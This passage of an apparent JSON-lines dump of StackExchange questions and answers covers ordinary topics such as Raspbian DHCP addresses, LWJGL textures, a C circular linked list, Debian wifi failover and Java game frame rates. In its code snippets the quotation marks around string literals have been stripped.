secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.96/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.97/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.98/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.99/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.100/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.101/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.102/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.103/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.104/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.105/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.106/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.107/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.108/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.109/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.110/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.111/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.112/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.113/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.114/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.115/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.116/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.117/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.118/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.119/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.120/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.121/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.122/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.123/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.124/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.125/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.126/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.127/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.128/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.129/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.130/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.131/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.132/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.133/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.134/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.135/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.136/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.137/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.138/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.139/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.141/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.142/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.143/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.144/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.145/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.146/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.147/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.148/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.149/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.150/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.151/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.152/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.153/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.154/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.155/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.156/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.157/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.158/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.159/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.161/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.162/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.163/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.164/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.165/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.166/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.167/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.168/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.169/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.170/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.171/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.172/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.173/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.174/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.175/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.176/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.177/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.178/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.179/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.180/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.181/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.182/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.183/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.184/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.185/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.186/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.187/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.188/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.189/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.190/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.191/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.192/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.193/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.194/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.195/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.196/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.197/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.198/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.200/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.199/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.24/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.26/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.27/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.28/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft foreverWhat is the problem? (Raspbian GNU/Linux 8)" , "title": "Raspbian uses the complete dhcp range" , "tags": "raspbian;dhcp;ipv4" } { "id": "_webmaster.12014" , "question": "I am trying to figure out where do all sites that use the 'Helvetica Neue' font get it from. There are certainly too many sites using it for it not to be free. But frankly, there are only two fontsites which have it in their catalog, and it is for sale (and not as a webfont).Moreover, can you give some examples of webfonts which are similar to this 'Helvetica Neue' and are (mostly) free?Thank you!" , "title": "'Helvetica Neue' webfont" , "tags": "fonts" , "accepted_answer": "Based on the examples you posted in response to my comment above, you're confused.Dribbble and Foursquare aren't using web font/font-face embedding at all. They're simply specifying Helvetica Neue in their font-family stacks. If a visitor happens to have that font installed on their system, then they'll see it. They quite likely don't, in which case their system will try the next font down, and so on until either something matches or it just ends up using their default for sans-/serif/monospace." } { "id": "_unix.178180" , "question": "I tried import drawings from OpenClipArt in my Ubuntu using Inkscape, but appear this problem below:Failed to receive the Open Clip Art Library RSS feed. Verify if the server name is correct in Configuration->Import/Export (e.g.: openclipart.org)How can I fix this and import drawings from OpenClipArt.org? " , "title": "Failed to receive the Open Clip Art Library RSS feed" , "tags": "ubuntu;inkscape" } { "id": "_computergraphics.4936" , "question": "I have got a texture ID and would like to retrieve its data. The data should be stored in a BufferedImage for future use. I am using the LWJGL library in Java, so if there are some library-specific shortcuts I'd like to use them.My naive approach is to first fill a buffer with the image data and then pass it to the image. int id = ...; IntBuffer buff = BufferUtils.createIntBuffer(1024*512*4); GL11.glBindTexture(GL11.GL_TEXTURE_2D, id); System.out.println(buff.remaining()); GL11.glGetTexImage(GL11.GL_TEXTURE_2D, 0, GL12.GL_BGRA, GL12.GL_UNSIGNED_INT_8_8_8_8_REV, buff); System.out.println(buff.remaining()); buff.flip(); buff.rewind(); System.out.println(buff.remaining()); // Somehow create a BufferedImage from buff hereI don't know why, but the first and to buff.remaining() return the same value, indicating that nothing has been written which should not be the case." , "title": "LWJGL/OpenGL get BufferedImage from texture ID" , "tags": "opengl;image" , "accepted_answer": "To make it a more complete example, let's also consider loading a texture from a BufferedImage as well.First let's assume:int texture = glGenTextures();glBindTexture(GL_TEXTURE_2D, texture);First we need to load an image. For this we can use ImageIO.read(). Then we put all the pixels from the BufferedImage into a ByteBuffer.BufferedImage image = ImageIO.read(new File(image.png));int width = image.getWidth(), height = image.getHeight();int[] pixels = new int[width * height];image.getRGB(0, 0, width, height, pixels, 0, width);ByteBuffer buffer = BufferUtils.createByteBuffer(width * height * 4); // 4 because RGBAfor(int y = 0; y < height; ++y) { for(int x = 0; x < width; ++x) { int pixel = pixels[x + y * width]; buffer.put((byte) ((pixel >> 16) & 0xFF)); buffer.put((byte) ((pixel >> 8) & 0xFF)); buffer.put((byte) (pixel & 0xFF)); buffer.put((byte) ((pixel >> 24) & 0xFF)); }}buffer.flip();glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, buffer);Before we go ahead and call glGetTexImage() lets assume that the only thing we have is the texture name (texture). Thus we consider that we don't know the size or format of the texture. We can get all this by doing:int format = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_INTERNAL_FORMAT);int width = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_WIDTH);int height = glGetTexLevelParameteri(GL_TEXTURE_2D, 0, GL_TEXTURE_HEIGHT);Using that information we again create a ByteBuffer as well as a BufferedImage. Reading the pixels from the ByteBuffer and placing them on the BufferedImage.int channels = 4;if (format == GL_RGB) channels = 3;ByteBuffer buffer = BufferUtils.createByteBuffer(width * height * channels);BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_ARGB);glGetTexImage(GL_TEXTURE_2D, 0, format, GL_UNSIGNED_BYTE, buffer);for (int x = 0; x < width; ++x) { for (int y = 0; y < height; ++y) { int i = (x + y * width) * channels; int r = buffer.get(i) & 0xFF; int g = buffer.get(i + 1) & 0xFF; int b = buffer.get(i + 2) & 0xFF; int a = 255; if (channels == 4) a = buffer.get(i + 3) & 0xFF; image.setRGB(x, y, (a << 24) | (r << 16) | (g << 8) | b); }}Now go ahead and save that BufferedImage to a file.ImageIO.write(image, PNG, new File(out.png));Last but not least, you can get rid of all those GL11. prefixes, by statically importing GL11. You do that by doing:import static org.lwjgl.opengl.GL11.*;" } { "id": "_codereview.77007" , "question": "Let me know if it seems right to you and if anything can be optimized. My concern is that I'm unsure if circular linked lists are supposed to have a tail. I've implemented it just using a head. Is that wrong? If so, how would you change it to make it proper?/* * Circular Linked List * */#include #include typedef struct Node { int data; struct Node *next;} Node;void insert_beg_of_list(Node *current, int data);void delete(Node *current, int data);void print_list(Node *current);int find_in_a_list(Node *current, int data);void insert_beg_of_list(Node *current, int data) { //keep track of first node Node *head = current; while(current->next != head) { current = current->next; } current->next = (Node*)malloc(sizeof(Node)); current = current->next; current->data = data; current->next = head;}void delete_from_list(Node *current, int data) { Node *head = current; while(current->next != head && (current->next)->data != data) { current = current->next; } if(current->next == head) { printf(%d element is not found\\n\\n, data); return; } Node *tmp; tmp = current->next; current->next = tmp->next; free(tmp); return;}void print_list(Node *current) { Node *head = current; current = current->next; while(current != head){ printf( %d , current->data); current = current->next; }}int find_in_a_list(Node *current, int data) { Node *head = current; current = current->next; while(current != head) { if(current->data == data) { // Key found return 1; } current = current->next; } // Key is not found return 0;}int main() { Node *head = (Node *)malloc(sizeof(Node)); head->next = head; int data = 0; int usr_input = 0; while(1){ printf(0. Exit\\n); printf(1. Insert\\n); printf(2. Delete\\n); printf(3. Print\\n); printf(4. Find\\n); scanf(%d, &usr_input); // can also use a switch instead if( usr_input == 0) { exit(0); } else if(usr_input == 1) { printf(\\nEnter an element you want to insert: ); scanf(%d, &data); insert_beg_of_list(head, data); } else if(usr_input == 2) { printf(\\nEnter an element you want to delete: ); scanf(%d, &data); delete_from_list(head, data); } else if( usr_input == 3) { printf(The list is ); print_list(head); printf(\\n\\n); } else if( usr_input == 4) { printf(\\nEnter an element you want to find: ); scanf(%d, &data); int is_found = find_in_a_list(head, data); if (is_found) { printf(\\nElement is found\\n\\n); } else { printf(\\nElement is NOT found\\n\\n); } } } return 0;}" , "title": "Circular linked list in C" , "tags": "c;linked list;circular list" } { "id": "_webapps.50142" , "question": "How is this done? Maybe with PHP or JavaScript?" , "title": "How can I make this integration with Facebook for comments in the botton of my web page?" , "tags": "comments;facebook like;facebook integration" , "accepted_answer": "One solution is to use this Facebook plugin: https://developers.facebook.com/docs/reference/plugins/comments/" } { "id": "_webapps.42263" , "question": "I've gone about setting up a new email address, the one i'm signed on here with, and I picked out three friends to send codes to. I received two of them back, but the third friend deleted the email with the code and can't retrieve it. I've filed exactly 5 different reports and so far no response at all. I've checked my spam folder it's spotless.What should I do?" , "title": "I can't get back on to my Facebook. Email address no longer available to me" , "tags": "facebook;account management" } { "id": "_softwareengineering.323295" , "question": "This is part of the code of a calculator that works on command line. It works fine and the math is correct but it's a little redundant:switch(Operator) { case +: result = num1 + num2; printResult(); break; case - : result = num1 - num2; printResult(); break; case *: result = num1 * num2; printResult(); break; case /: result = num1 / num2; printResult(); break; case ^: result = Math.Pow(num1, num2); printResult(); break; case root: result = Math.Pow(num1, (1/num2)); Console.WriteLine(Root degree + num2 + of + num1 + is + result); break; default: Console.WriteLine(Invalid operator.); break;}//END SWITCH Is there a way to avoid this redundant code like result = num1 Operator num2;or for char o = Operatorresult = num1 Operator num2;Even just for the + - / * operations ?" , "title": "Simplifying code of a calculator (help)" , "tags": "c#" , "accepted_answer": "First, remove the duplication by moving PrintResult() below your switch. You call it every time (nearly, you'll need to make it a touch more robust I imagine). Then, change your method to return a result instead. This method calculates and prints. It shouldn't, that break SRP. Now, you could create a dictionary of functions to be invoked. var operations = new Dictionary>(){ { +, (a, b) => a + b }, { -, (a, b) => a - b }, //...}return operations[Operator](num1, num2);May not compile, I'm typing on my phone. Exception handling left to OP.Of course, if you get really froggy, you could go create a calculator parser and really overkill the solution. " } { "id": "_unix.367772" , "question": "It seems adding desktop icons are a pain in Fedora. Can someone please tell me how I can place the Terminal icon on the desktop ? I have downloaded the gnome-tweak-tool and enabled icons on Desktop.Also is there an application that I can use to do this ? Rather than editing the files in ~/local ?" , "title": "Fedora 25 - Place terminal icon on Desktop" , "tags": "fedora;icons" , "accepted_answer": "Assuming you've logged out & back in after enabling desktop icons in the tweak tool; using the gnome file browser, go to:/usr/share/applicationsSearch for, or find the file called 'terminal' in this directory, and drag it to the desktop. " } { "id": "_unix.100707" , "question": "I've been using rsync for Android to backup my phone to a remote NTFS filesystem on a Linux system for a while.Recently, the HDD containing the NTFS filesystem has started to fail (or throw I/O Errors) so I took the opportunity to copy all the files onto a new HDD and new NTFS filesystem. In this instance I used the FastCopy v2.11 tool for Windows.My problem is that when I do an rsync dry run I can see that it wants to recopy files which already exist on the remote rsync folder. For example, when I run with -iv I get this kind of output:Which, as I understand it means that rsync wants to copy this file to the remote rsync because of a timestamp difference.The strange thing is that if I use Astro for Android to look at the local file properties, I can see that the file's size, modified time, and MD5 checksum are exactly the same as that of the remote file (using ls -l to check the modified time).Given that I recently copied the remote rsync files from an old NTFS filesystem, the remote file's ctime is different (using ls -lc).Does rsync look at the remote ctime, and if so is there any way I can use rsync, or ntfs-3g to get around this problem?" , "title": "rsync vs mtime and ctime" , "tags": "rsync;android;ntfs" } { "id": "_webapps.45785" , "question": "I want to delete a date range of emails (from jan 2011-sept 2011). I do NOT want to delete all my emails, and I would rather not have to do it page by page. (100 conversations at a time) Is this possible?" , "title": "How to delete a range of emails in Gmail" , "tags": "gmail" } { "id": "_cstheory.17038" , "question": "I became familiar with the BSS model of computation recently. I find it to be a better model of computation to study complexity of numerical analysis methods (cf. Complexity and Real Computation; Blum, Cucker, Shub, Smale.) Most of the existing PAC learning theory is concerned with standard computation model. I was wondering, are there any research or literature regarding PAC learning in the BSS model?The reason is that most of practical methods of computation over real numbers are based on numerical analysis which seem disconnected from the standard PAC learning developed in TCS community. Whereas the BSS model seems natural and well-suited for such studies. " , "title": "PAC learning and computation over real numbers" , "tags": "cc.complexity theory;reference request;machine learning;lg.learning" } { "id": "_codereview.40430" , "question": "My code snippet is like this:public static string EventId{ get { return HttpContext.Current.Request[eventId]; }}And I will call this property EventId whenever I need it. Is it a good practice?" , "title": "Is it a good idea to keep Request querystring as a property?" , "tags": "c#;asp.net" , "accepted_answer": "Can you guarantee that eventId will never change? If so it might not be a bad idea, but this comes down to a few thingseventId never changes;how and where you're using it. It might be somewhat difficult for a new programmer in the project to locate and realize what it actually does (it returns the eventId for the current Http Request), solely based on the property name; andAre you sure that both HttpContext.Current and Current.Request are initialized before retrieving eventId. There is a change these will throw a null reference exception. It might be a very good idea to do a simple if != null check before invoking the Request property.If your code can accommodate for these points I don't see any inherently wrong with doing this." } { "id": "_unix.217181" , "question": "I do have a small pc(router_office) that runs debian wheezy (7) and it gets internet from wlan0 and acts as router for eth0 (NAT). Everything works fine.My setup is pretty simple in /etc/network/interfaces:auto wlan0iface wlan0 inet static address 192.168.2.49 netmask 255.255.255.0 broadcast 192.168.2.255gateway 192.168.2.1 wpa-ssid ATUX_wifi wpa-psk passw0rd4!dns-nameservers 8.8.8.8auto eth0 iface eth0 inet static address 192.168.1.10 netmask 255.255.255.0 dns-nameservers 8.8.8.8I have an second wifi that i could get connected to, which has SSID:be_sec_office with passwd:passwfooWhile in my laptop debian 7 with lxde in the connection manager if one wifi fails, then it connects automatically to the next one. How can I do that in my small pc(router_office), please?" , "title": "debian wifi setup for failover" , "tags": "debian;wifi" } { "id": "_unix.349314" , "question": "A server with no operating system will be plugged into an Ethernet network using an Ethernet cable. Can another machine on the network run an automated script that will remotely install CentOS 7 as the host OS on the new server? If so, how do I set this up? Currently, I have to manually install the new CentOS 7 host using a DVD or USB copy of the CentOS 7 iso file. This includes a GUI-based installation process that I would like to replace with a fully-automated process. I know that some hardware manufacturer's have administration tools that accomplish this on hardware that they manufacture themselves, but I am looking for something that is agnostic to hardware-vendor." , "title": "Automated install of remote Linux host OS" , "tags": "centos;system installation" , "accepted_answer": "The existing machine that the new machine will be connecting to will need to have a server which can provide PXE boot services. Your best source of information for CentOS would be the RHEL official documentation. PREPARING FOR A NETWORK INSTALLATIONhttps://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Installation_Guide/chap-installation-server-setup.htmlYou can also look into Kickstart Fileshttps://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Installation_Guide/chap-kickstart-installations.html" } { "id": "_codereview.133238" , "question": "I am in the process of making a game, and during this endeavour, I have come across problems maintaining a good frames per second while drawing my sprites. When I draw my background image, my frames drop from ~65 to ~30. My background image is simply a green tile 2000x2000 wide, constructed from 900 50*50 tiles.What can I do to increase my frames per second?My Main classimport java.awt.*;import java.awt.event.*;import java.awt.geom.AffineTransform;import java.awt.image.BufferedImage;import java.io.File;import java.io.IOException;import java.util.*;import javax.imageio.ImageIO;import javax.swing.*;import javax.swing.Timer;public class Main extends JPanel implements ActionListener, KeyListener{ static int WIDTH; static int HEIGHT; static int SCREENWIDTH; static int SCREENHEIGHT; static int GRAVITY = 2; BufferedImage background; Tower tower; Entity debug = new Entity(0, 0, 0, 30, 30, 300); ArrayList entities = new ArrayList(); Random random = new Random(); public Main(){ addKeyListener(this); setFocusable(true); setFocusTraversalKeysEnabled(false); requestFocus(); Thread thread = new Thread(new Runnable() { @Override public void run() { gameLoop(); } }); thread.start(); tower = new Tower(WIDTH, HEIGHT, 10, 10, 7); background = generateBackground(); entities.add(debug); } public void paintComponent(Graphics g){ super.paintComponent(g); Graphics2D g2d = (Graphics2D) g; AffineTransform plain = g2d.getTransform(); float xscale = (float)SCREENWIDTH/WIDTH; float yscale = (float)SCREENHEIGHT/HEIGHT; g2d.scale(xscale, yscale); g2d.rotate(Math.toRadians(45), WIDTH/2, HEIGHT/2); AffineTransform normal = g2d.getTransform(); g2d.drawImage(background, 0, 0, this); for (int e=0;e= tower.x-tower.d && entity.x < tower.x + tower.w || entity.y + entity.h >= tower.y-tower.d && entity.y < tower.y + tower.h){ entity.draw(g2d, normal, this); } } for (int i=0;i= tower.x-tower.d && entity.x < tower.x + tower.w) || !(entity.y + entity.h >= tower.y-tower.d && entity.y < tower.y + tower.h) || entity.z >= tower.d){ entity.draw(g2d, normal, this); } } FPSticks++; g2d.setTransform(normal); g2d.drawLine(WIDTH/2, 0, WIDTH/2, HEIGHT); g2d.drawLine(0, HEIGHT/2, WIDTH, HEIGHT/2); g2d.setTransform(plain); g2d.drawString(FPS: + currentFPS + | Logic Ticks: + currentTPS, 0, 10); g2d.drawLine(SCREENWIDTH/2, 0, SCREENWIDTH/2, SCREENHEIGHT); g2d.drawLine(0, SCREENHEIGHT/2, SCREENWIDTH, SCREENHEIGHT/2); } public void update(){ if (debug.velx != 0 || debug.vely != 0 || debug.velz != 0){ //say(x: + debug.x); //say(y: + debug.y); } debug.z-=GRAVITY; doCollision(); debug.update(); } public void doCollision(){ for (int e=0; e=tower.x && entity.x<=tower.x+tower.w && entity.y+entity.h>=tower.y && entity.y<=tower.y+tower.h){ int leftDistance = (entity.x+entity.w)-tower.x; int rightDistance = entity.x-(tower.x+tower.w); int topDistance = (entity.y+entity.h)-tower.y; int bottomDistance = entity.y-(tower.y+tower.h); int[] distanceArr = {leftDistance, rightDistance, topDistance, bottomDistance}; int[] smallestArr = findSmallest(distanceArr); int index = smallestArr[1]; if (entity.z < tower.d){ entity.z+=GRAVITY; } if (entity.z < tower.d){ if (index == 0){ entity.x-=entity.speed; } else if (index == 1){ entity.x+=entity.speed; } else if (index == 2){ entity.y-=entity.speed; } else if (index == 3){ entity.y+=entity.speed; } } } } } public BufferedImage generateBackground(){ Image grass1 = null; File grass1f = new File(grass1.png); File backgroundf = new File(background.png); try { grass1 = ImageIO.read(grass1f); }catch (Exception e){ } background = new BufferedImage(WIDTH, HEIGHT, BufferedImage.TYPE_INT_RGB); Graphics g = background.getGraphics(); for (int h=0;h= 1000/targetFPS){ update(); lag-= 1000/targetFPS; TPSticks++; } repaint(); newFPSTime = time(); if (newFPSTime > oldFPSTime + 1000){ oldFPSTime = newFPSTime; currentFPS = FPSticks; currentTPS = TPSticks; FPSticks = 0; TPSticks = 0; } } } @Override public void actionPerformed(ActionEvent e) { } public long time(){ return System.currentTimeMillis(); } public void say(String str){ System.out.println(str); } @Override public void keyPressed(KeyEvent e) { int c = e.getKeyCode(); if (c == KeyEvent.VK_ESCAPE){ System.exit(0); } if (c == KeyEvent.VK_W){ debug.vely = -2; } if (c == KeyEvent.VK_S){ debug.vely = 2; } if (c == KeyEvent.VK_A){ debug.velx = -2; } if (c == KeyEvent.VK_D){ debug.velx = 2; } if (c == KeyEvent.VK_Q){ debug.velz = -2-GRAVITY; } if (c == KeyEvent.VK_E){ debug.velz = 2+GRAVITY; } } @Override public void keyReleased(KeyEvent e) { int c = e.getKeyCode(); if (c == KeyEvent.VK_W){ debug.vely = 0; } if (c == KeyEvent.VK_S){ debug.vely = 0; } if (c == KeyEvent.VK_A){ debug.velx = 0; } if (c == KeyEvent.VK_D){ debug.velx = 0; } if (c == KeyEvent.VK_Q){ debug.velz = 0; } if (c == KeyEvent.VK_E){ debug.velz = 0; } } @Override public void keyTyped(KeyEvent e) { }}Tower classimport java.util.ArrayList;public class Tower { ArrayList>> map = new ArrayList>>(); int blockw = 30, blockh = 30, blockd = 30; int WIDTH;int HEIGHT; int x;int y;int z;int d;int w;int h; public Tower(int WIDTH, int HEIGHT, int towerw, int towerh, int towerd){ this.WIDTH = WIDTH; this.HEIGHT = HEIGHT; ArrayList blocks; ArrayList> height; ArrayList>> depth; x = ((WIDTH/2)-(towerw*blockw)/2)+(0); y = ((HEIGHT/2)-(towerh*blockh)/2)+(0); z = 0; d = towerd*blockd; w = towerw*blockw; h = towerh*blockh; depth = new ArrayList>>(); for (int d=0; d>(); for (int h=0; h(); for (int w=0; w { while(true) { if (background == null) continue; // A new BufferedImage to avoid concurrency issues; in this way, // the reference to this.drawnBackground is always a valid image // to be drawn. If we reassign this.drawnBackground = drawnBackground // while paintComponent() is running, that's fine, as it will simply // draw the old image. // It's also important to note that assignment to references // is an atomic operation, but we still have to declare the field // as volatile BufferedImage drawnBackground = new BufferedImage(background.getWidth(), background.getHeight(), background.getType()); Graphics2D g2d = (Graphics2D) drawnBackground.getGraphics(); g2d.setColor(Color.WHITE); g2d.fillRect(0, 0, background.getWidth(), background.getHeight()); float xscale = (float) SCREENWIDTH / WIDTH; float yscale = (float) SCREENHEIGHT / HEIGHT; g2d.scale(xscale, yscale); g2d.rotate(Math.toRadians(45), WIDTH / 2, HEIGHT / 2); g2d.drawImage(background, 0, 0, this); this.drawnBackground = drawnBackground; }}).start();The paintComponent method changes to look like so:public void paintComponent(Graphics g){ super.paintComponent(g); Graphics2D g2d = (Graphics2D) g; AffineTransform plain = g2d.getTransform(); float xscale = (float)SCREENWIDTH/WIDTH; float yscale = (float)SCREENHEIGHT/HEIGHT; g2d.drawImage(drawnBackground, 0, 0, this); g2d.scale(xscale, yscale); g2d.rotate(Math.toRadians(45), WIDTH/2, HEIGHT/2); AffineTransform normal = g2d.getTransform(); // g2d.drawImage(background, 0, 0, this); // rest of codeIn this way, we move the expensive operation of rendering the image to another 